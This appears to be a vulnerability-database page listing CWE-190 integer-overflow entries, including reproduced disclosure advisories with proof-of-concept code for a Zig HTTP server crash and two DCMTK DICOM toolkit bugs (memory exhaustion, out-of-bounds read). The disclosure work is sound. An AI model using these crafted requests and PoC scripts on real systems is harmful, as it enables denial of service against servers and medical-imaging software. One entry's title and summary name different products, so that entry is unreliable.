Common Weakness Enumeration

CWE-190

Allowed

Integer Overflow or Wraparound

Abstraction: Base · Status: Stable

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

4331 vulnerabilities reference this CWE, most recent first.

CVE-2026-1464 (GCVE-0-2026-1464)

Vulnerability from cvelistv5 – Published: 2026-01-27 08:18 – Updated: 2026-01-27 21:39
VLAI
Title
A possible integer overflow vulnerability in RawTherapee/RawTherapee
Summary
Integer Overflow or Wraparound vulnerability in MuntashirAkon AppManager (app/src/main/java/org/apache/commons/compress/archivers/tar modules). This vulnerability is associated with program files TarUtils.Java. This issue affects AppManager: before 4.0.4.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-27 21:10 UTC
CWE
  • CWE-190 - Integer Overflow or Wraparound
Assigner
References
Impacted products
Vendor Product Version
MuntashirAkon AppManager Affected: 0 , < 4.0.4 (git)
Create a notification for this product.
Date Public
2026-01-27 08:18
Show details on NVD website

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CVE-2026-0988 (GCVE-0-2026-0988)

Vulnerability from cvelistv5 – Published: 2026-01-21 11:38 – Updated: 2026-04-24 20:38
VLAI
Title
Glib: glib: denial of service via integer overflow in g_buffered_input_stream_peek()
Summary
A flaw was found in glib. Missing validation of offset and count parameters in the g_buffered_input_stream_peek() function can lead to an integer overflow during length calculation. When specially crafted values are provided, this overflow results in an incorrect size being passed to memcpy(), triggering a buffer overflow. This can cause application crashes, leading to a Denial of Service (DoS).
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-21 14:25 UTC
CWE
  • CWE-190 - Integer Overflow or Wraparound
References
Impacted products
Vendor Product Version
Red Hat Red Hat Hardened Images Unaffected: 2.88.0-1.1.hum1 , < * (rpm)
    cpe:/a:redhat:hummingbird:1
Create a notification for this product.
Red Hat Red Hat Enterprise Linux 10     cpe:/o:redhat:enterprise_linux:10
Create a notification for this product.
Red Hat Red Hat Enterprise Linux 6     cpe:/o:redhat:enterprise_linux:6
Create a notification for this product.
Red Hat Red Hat Enterprise Linux 7     cpe:/o:redhat:enterprise_linux:7
Create a notification for this product.
Red Hat Red Hat Enterprise Linux 8     cpe:/o:redhat:enterprise_linux:8
Create a notification for this product.
Red Hat Red Hat Enterprise Linux 9     cpe:/o:redhat:enterprise_linux:9
Create a notification for this product.
Date Public
2026-01-15 00:00
Show details on NVD website

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CVE-2026-0861 (GCVE-0-2026-0861)

Vulnerability from cvelistv5 – Published: 2026-01-14 21:01 – Updated: 2026-04-29 13:28
VLAI
Title
Integer overflow in memalign leads to heap corruption
Summary
Passing too large an alignment to the memalign suite of functions (memalign, posix_memalign, aligned_alloc) in the GNU C Library version 2.30 to 2.42 may result in an integer overflow, which could consequently result in a heap corruption. Note that the attacker must have control over both, the size as well as the alignment arguments of the memalign function to be able to exploit this. The size parameter must be close enough to PTRDIFF_MAX so as to overflow size_t along with the large alignment argument. This limits the malicious inputs for the alignment for memalign to the range [1<<62+ 1, 1<<63] and exactly 1<<63 for posix_memalign and aligned_alloc. Typically the alignment argument passed to such functions is a known constrained quantity (e.g. page size, block size, struct sizes) and is not attacker controlled, because of which this may not be easily exploitable in practice. An application bug could potentially result in the input alignment being too large, e.g. due to a different buffer overflow or integer overflow in the application or its dependent libraries, but that is again an uncommon usage pattern given typical sources of alignments.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-29 03:55 UTC
CWE
  • CWE-190 - Integer Overflow or Wraparound
Impacted products
Vendor Product Version
The GNU C Library glibc Affected: 2.30 , ≤ 2.42 (custom)
Create a notification for this product.
Date Public
2026-01-14 05:00
Show details on NVD website

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CVE-2026-0619 (GCVE-0-2026-0619)

Vulnerability from cvelistv5 – Published: 2026-02-12 20:09 – Updated: 2026-02-12 20:43
VLAI
Title
Integer Wraparound DoS in Silicon Labs Matter Implementation
Summary
A reachable infinite loop via an integer wraparound is present in Silicon Labs' Matter SDK which allows an attacker to trigger a denial of service. A hard reset is required to recover the device.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-12 20:43 UTC
CWE
  • CWE-190 - Integer Overflow or Wraparound
  • CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
References
URL Tags
https://community.silabs.com/068Vm00000gUB2g vendor-advisorypermissions-required
Impacted products
Vendor Product Version
silabs.com Silicon Labs Matter Affected: 2.7.0 , < 2.8.0 (semver)
Create a notification for this product.
Show details on NVD website

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GCVE-1988-2026-0047

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
Title
Zig std.http chunked reader integer overflow -> unauthenticated remote DoS
Summary
Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the temple and cursed enough to set it on fire.¹ The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says “systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism. // poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc` const std = @import("std"); const http = std.http; pub fn main() !void { const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded const request_bytes = "POST /upload HTTP/1.1\r\n" ++ "Host: victim\r\n" ++ "Transfer-Encoding: chunked\r\n" ++ "\r\n" ++ "fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2 body; var in = std.Io.Reader.fixed(request_bytes); var out_buf: [4096]u8 = undefined; var out = std.Io.Writer.fixed(&out_buf); var server = http.Server.init(&in, &out); var request = try server.receiveHead(); // Head.parse accepts TE:chunked var transfer_buf: [256]u8 = undefined; const br = try request.readerExpectContinue(&transfer_buf); var dst: [256]u8 = undefined; _ = try br.readSliceShort(&dst); // -> panic at http.zig:586} Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.² CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it arrived in. ¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written during a thunderstorm. Cheers! Agent Spooky's Fun Parade [agent-spooky-1.png] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products

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GCVE-1988-2026-0027

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
Title
[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-050 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: Medium Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's textual value import is vulnerable to unbounded Value Multiplicity (VM) allocation. An attacker who can supply a crafted textual DICOM dump or XML/JSON import payload can cause memory exhaustion or heap buffer overflow via integer overflow in the typed array allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154) counts backslash ('\') delimiters in a textual element value string and returns the count as the VM: unsigned long DcmElement::determineVM(const char *str, const size_t len) { unsigned long vm = 0; if ((str != NULL) && (len > 0)) { vm = 1; const char *p = str; for (size_t i = 0; i < len; i++) { if (*p++ == '\\') vm++; } } return vm; } This value is used throughout the VR implementation to allocate typed arrays: - dcvrsl.cc:335: new Sint32[vm] - dcvrul.cc: new Uint32[vm] - dcvrus.cc: new Uint16[vm] - dcvrfd.cc: new Float64[vm] - ... and many more A crafted ASCII dump containing a numeric VR element with many backslash-separated tokens yields a large VM. Allocating Float64[vm] requires 8 * vm bytes before the converted binary value is inserted into the DICOM object. With sufficiently large inputs on 32-bit builds, vm * sizeof(T) can also overflow size_t, producing a small allocation that is subsequently written beyond bounds. The attack chain is as follows: 1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR element (SL, UL, FD, etc.) whose value consists of a large number of backslash-delimited tokens. 2. determineVM() counts the tokens and returns an unbounded VM. 3. The VR putString() allocates new T[vm] without bounds checking. 4. Memory exhaustion (DoS) or heap buffer overflow is triggered via an integer overflow in the allocation size. This path is reached by APIs and tools that parse textual values into typed numeric VRs, e.g. dump2dcm calling DcmElement::putString(). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following exploit script creates a specially crafted ASCII DICOM dump file with a numeric VR element (SL) containing many backslash- separated tokens. This file is processed with dump2dcm under a memory limit to trigger the memory exhaustion (std::bad_alloc). cat > poc.sh << 'EOPOC' #!/bin/bash # # POC Exploit for unbounded VM allocation in dump2dcm # Proof of concept exploit for SYSS-2026-050 # # Creates a crafted ASCII DICOM dump with a numeric VR element (SL) # containing NUM_VALUES backslash-separated tokens, then feeds it # to dump2dcm under a memory limit to trigger std::bad_alloc. # set -euo pipefail DUMP2DCM="dump2dcm" WORKDIR="/tmp/dump2dcm_poc_$$" MEMORY_LIMIT=24576 # 24 MB virtual memory limit SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" echo "=== PoC: Unbounded VM Allocation in dump2dcm ===" echo "" echo "Vulnerability: DcmElement::determineVM() counts backslash delimiters" echo " without bounds, causing new Sint32[vm] to allocate" echo " vm * 4 bytes without any cap." echo "" echo "Configuration:" echo " Values (VM): $NUM_VALUES" echo " dump2dcm: $DUMP2DCM" echo "" mkdir -p "$WORKDIR" DUMP_FILE="$WORKDIR/exploit.dump" OUTPUT_FILE="$WORKDIR/exploit.dcm" # Generate the payload using Python (avoids shell escaping issues) python3 "$SCRIPT_DIR/generate_payload.py" "$NUM_VALUES" > "$DUMP_FILE" DUMP_SIZE=$(du -sh "$DUMP_FILE" | cut -f1) echo "[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)" echo "" echo "[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)..." echo "" # Run dump2dcm with memory limit # +l sets max line length to 10M to accommodate the crafted SL element ulimit -v "$MEMORY_LIMIT" echo "---" echo "Result:" echo " Exit code: $EXIT_CODE" echo " Output:" echo "$OUTPUT" | tail -20 echo "" # Clean up rm -rf "$WORKDIR" if [ $EXIT_CODE -ne 0 ]; then echo "[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE" echo " The unbounded VM allocation exhausted memory as expected." else fi echo "" echo "=== PoC complete ===" EOPOC The following output shows a successful exploit crashing dump2dcm: ./poc.sh === PoC: Unbounded VM Allocation in dump2dcm === Vulnerability: DcmElement::determineVM() counts backslash delimiters without bounds, causing new Sint32[vm] to allocate vm * 4 bytes without any cap. Configuration: Values (VM): 4000000 Allocation: Sint32[4000000] = 15 MB Memory limit: 24576 KB (24 MB) dump2dcm: dump2dcm [+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M) [*] Running dump2dcm under memory limit (ulimit -v 24576)... - --- Result: Exit code: 134 Output: terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc [+] SUCCESS: dump2dcm crashed with exit code 134 The unbounded VM allocation exhausted memory as expected. === PoC complete === ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-050 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version
Dicom DICOM Toolkit Affected: unknown
Create a notification for this product.

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          "value": "Advisory ID:               SYSS-2026-050\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                Medium\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s textual value import is vulnerable to unbounded Value Multiplicity\n(VM) allocation. An attacker who can supply a crafted textual DICOM dump\nor XML/JSON import payload can cause memory exhaustion or heap buffer\noverflow via integer overflow in the typed array allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)\ncounts backslash (\u0027\\\u0027) delimiters in a textual element value string and\nreturns the count as the VM:\n\n  unsigned long DcmElement::determineVM(const char *str, const size_t len)\n  {\n      unsigned long vm = 0;\n      if ((str != NULL) \u0026\u0026 (len \u003e 0)) {\n          vm = 1;\n          const char *p = str;\n          for (size_t i = 0; i \u003c len; i++) {\n              if (*p++ == \u0027\\\\\u0027)\n                  vm++;\n          }\n      }\n      return vm;\n  }\n\nThis value is used throughout the VR implementation to allocate typed\narrays:\n\n  - dcvrsl.cc:335: new Sint32[vm]\n  - dcvrul.cc:       new Uint32[vm]\n  - dcvrus.cc:       new Uint16[vm]\n  - dcvrfd.cc:       new Float64[vm]\n  - ... and many more\n\nA crafted ASCII dump containing a numeric VR element with many\nbackslash-separated tokens yields a large VM. Allocating Float64[vm]\nrequires 8 * vm bytes before the converted binary value is inserted into\nthe DICOM object. With sufficiently large inputs on 32-bit builds,\nvm * sizeof(T) can also overflow size_t, producing a small allocation\nthat is subsequently written beyond bounds.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR\n     element (SL, UL, FD, etc.) whose value consists of a large number\n     of backslash-delimited tokens.\n\n  2. determineVM() counts the tokens and returns an unbounded VM.\n\n  3. The VR putString() allocates new T[vm] without bounds checking.\n\n  4. Memory exhaustion (DoS) or heap buffer overflow is triggered via\n     an integer overflow in the allocation size.\n\nThis path is reached by APIs and tools that parse textual values into\ntyped numeric VRs, e.g. dump2dcm calling DcmElement::putString().\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a specially crafted ASCII DICOM\ndump file with a numeric VR element (SL) containing many backslash-\nseparated tokens. This file is processed with dump2dcm under a memory\nlimit to trigger the memory exhaustion (std::bad_alloc).\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# POC Exploit for unbounded VM allocation in dump2dcm\n# Proof of concept exploit for SYSS-2026-050\n#\n# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)\n# containing NUM_VALUES backslash-separated tokens, then feeds it\n# to dump2dcm under a memory limit to trigger std::bad_alloc.\n#\n\nset -euo pipefail\n\nDUMP2DCM=\"dump2dcm\"\nWORKDIR=\"/tmp/dump2dcm_poc_$$\"\n\nMEMORY_LIMIT=24576   # 24 MB virtual memory limit\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\n\necho \"=== PoC: Unbounded VM Allocation in dump2dcm ===\"\necho \"\"\necho \"Vulnerability: DcmElement::determineVM() counts backslash delimiters\"\necho \"               without bounds, causing new Sint32[vm] to allocate\"\necho \"               vm * 4 bytes without any cap.\"\necho \"\"\necho \"Configuration:\"\necho \"  Values (VM):      $NUM_VALUES\"\n\necho \"  dump2dcm:         $DUMP2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\nDUMP_FILE=\"$WORKDIR/exploit.dump\"\nOUTPUT_FILE=\"$WORKDIR/exploit.dcm\"\n\n\n\n# Generate the payload using Python (avoids shell escaping issues)\npython3 \"$SCRIPT_DIR/generate_payload.py\" \"$NUM_VALUES\" \u003e \"$DUMP_FILE\"\n\nDUMP_SIZE=$(du -sh \"$DUMP_FILE\" | cut -f1)\necho \"[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)\"\n\necho \"\"\necho \"[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)...\"\necho \"\"\n\n# Run dump2dcm with memory limit\n# +l sets max line length to 10M to accommodate the crafted SL element\nulimit -v \"$MEMORY_LIMIT\"\n\n\necho \"---\"\necho \"Result:\"\necho \"  Exit code: $EXIT_CODE\"\necho \"  Output:\"\necho \"$OUTPUT\" | tail -20\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n    echo \"[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE\"\n    echo \"    The unbounded VM allocation exhausted memory as expected.\"\nelse\n\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe following output shows a successful exploit crashing dump2dcm:\n\n./poc.sh\n=== PoC: Unbounded VM Allocation in dump2dcm ===\n\nVulnerability: DcmElement::determineVM() counts backslash delimiters\n               without bounds, causing new Sint32[vm] to allocate\n               vm * 4 bytes without any cap.\n\nConfiguration:\n  Values (VM):      4000000\n  Allocation:       Sint32[4000000] = 15 MB\n  Memory limit:     24576 KB (24 MB)\n  dump2dcm:         dump2dcm\n\n\n[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)\n\n[*] Running dump2dcm under memory limit (ulimit -v 24576)...\n\n- ---\nResult:\n  Exit code: 134\n  Output:\nterminate called after throwing an instance of \u0027std::bad_alloc\u0027\n  what():  std::bad_alloc\n\n[+] SUCCESS: dump2dcm crashed with exit code 134\n    The unbounded VM allocation exhausted memory as expected.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-050\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0026

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
Title
[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-049 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). The Run-Length Encoded (RLE) compression codec encoder is vulnerable to an integer overflow in the expected-size sanity check. An attacker who can supply a crafted DICOM file with attacker-controlled image dimensions can bypass the sanity check and cause the encoder to read beyond the Pixel Data heap allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186, 215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic for attacker-controlled dimensions: if (numberOfStripes * columns * rows * numberOfFrames > length) result = EC_CannotChangeRepresentation; const Uint32 bytesPerStripe = columns * rows; frameOffset = frameSize * currentFrame; pixelPointer = pixelData8 + frameOffset + sampleOffset + bytesAllocated - byte - 1; for (pixel = 0; pixel < bytesPerStripe; ++pixel) rleEncoder->add(*pixelPointer); The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535, BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the expected byte count wraps to 1, so a two-byte Pixel Data element passes the check. The encoder then sets bytesPerStripe to 65535 * 65535 and reads past the two-byte heap allocation almost immediately. The attack chain is as follows: 1. The attacker crafts a DICOM file with carefully chosen Rows, Columns, and NumberOfFrames values that make the sanity product overflow to a small value. 2. The Pixel Data element is set to the small overflowed size. 3. The sanity check passes, because the overflowed product is <= length. 4. The encoder enters the stripe loop with the correct (large) bytesPerStripe value. 5. The encoder reads beyond the Pixel Data heap allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following PoC script demonstrates this security vulnerability: cat > poc.sh << 'EOPOC' #!/bin/bash # Demonstrate the RLE encoder size-check overflow through dcmcrle # Proof of concept exploit for SYSS-2026-049 set -u POC_DIR="$(cd "$(dirname "$0")" && pwd)" WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)" INPUT_DUMP="${WORKDIR}/poc.dump" INPUT_DCM="${WORKDIR}/poc.dcm" OUTPUT_DCM="${WORKDIR}/poc.rle.dcm" LOG="${WORKDIR}/dcmcrle.valgrind.log" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT require_tool() { command -v "$1" >/dev/null 2>&1 || { echo "[!] Missing required tool: $1" exit 1 } } require_tool dump2dcm require_tool dcmdump require_tool dcmcrle require_tool valgrind require_tool timeout cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}" echo "[*] RLE encoder expected-size overflow via dcmcrle" echo "[*] Building crafted DICOM input with dump2dcm" dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1 echo "[*] Crafted image parameters:" echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)" echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read" set +e timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \ dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1 RC=$? set -e cat "${LOG}" if [ "${RC}" -eq 99 ] && grep -q "Invalid read of size 1" "${LOG}" && grep -q "DcmRLECodecEncoder::encode" "${LOG}" && grep -q "dcrlecce.cc:268" "${LOG}" && grep -q "0 bytes after a block of size 2" "${LOG}"; then exit 0 fi echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed" echo "[!] Workdir retained for inspection: ${WORKDIR}" trap - EXIT exit 1 EOPOC The exploit causes the RLE encoder to segfault when reading the guard page, confirming the out-of-bounds read. ./poc.sh [*] RLE encoder expected-size overflow via dcmcrle [*] Building crafted DICOM input with dump2dcm [*] Crafted image parameters: (0028,0010) US 65535 # 2, 1 Rows (0028,0011) US 2 # 2, 1 Columns (7fe0,0010) OB 41\42 # 2, 1 PixelData [*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32) [*] Running dcmcrle under Valgrind to stop at the first invalid read ==53104== Invalid read of size 1 ==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103) ==53104== by 0x40044D2: main (dcmcrle.cc:295) ==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd ==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708) ==53104== ==53104== ==53104== Exit program on first error (--exit-on-first-error=yes) 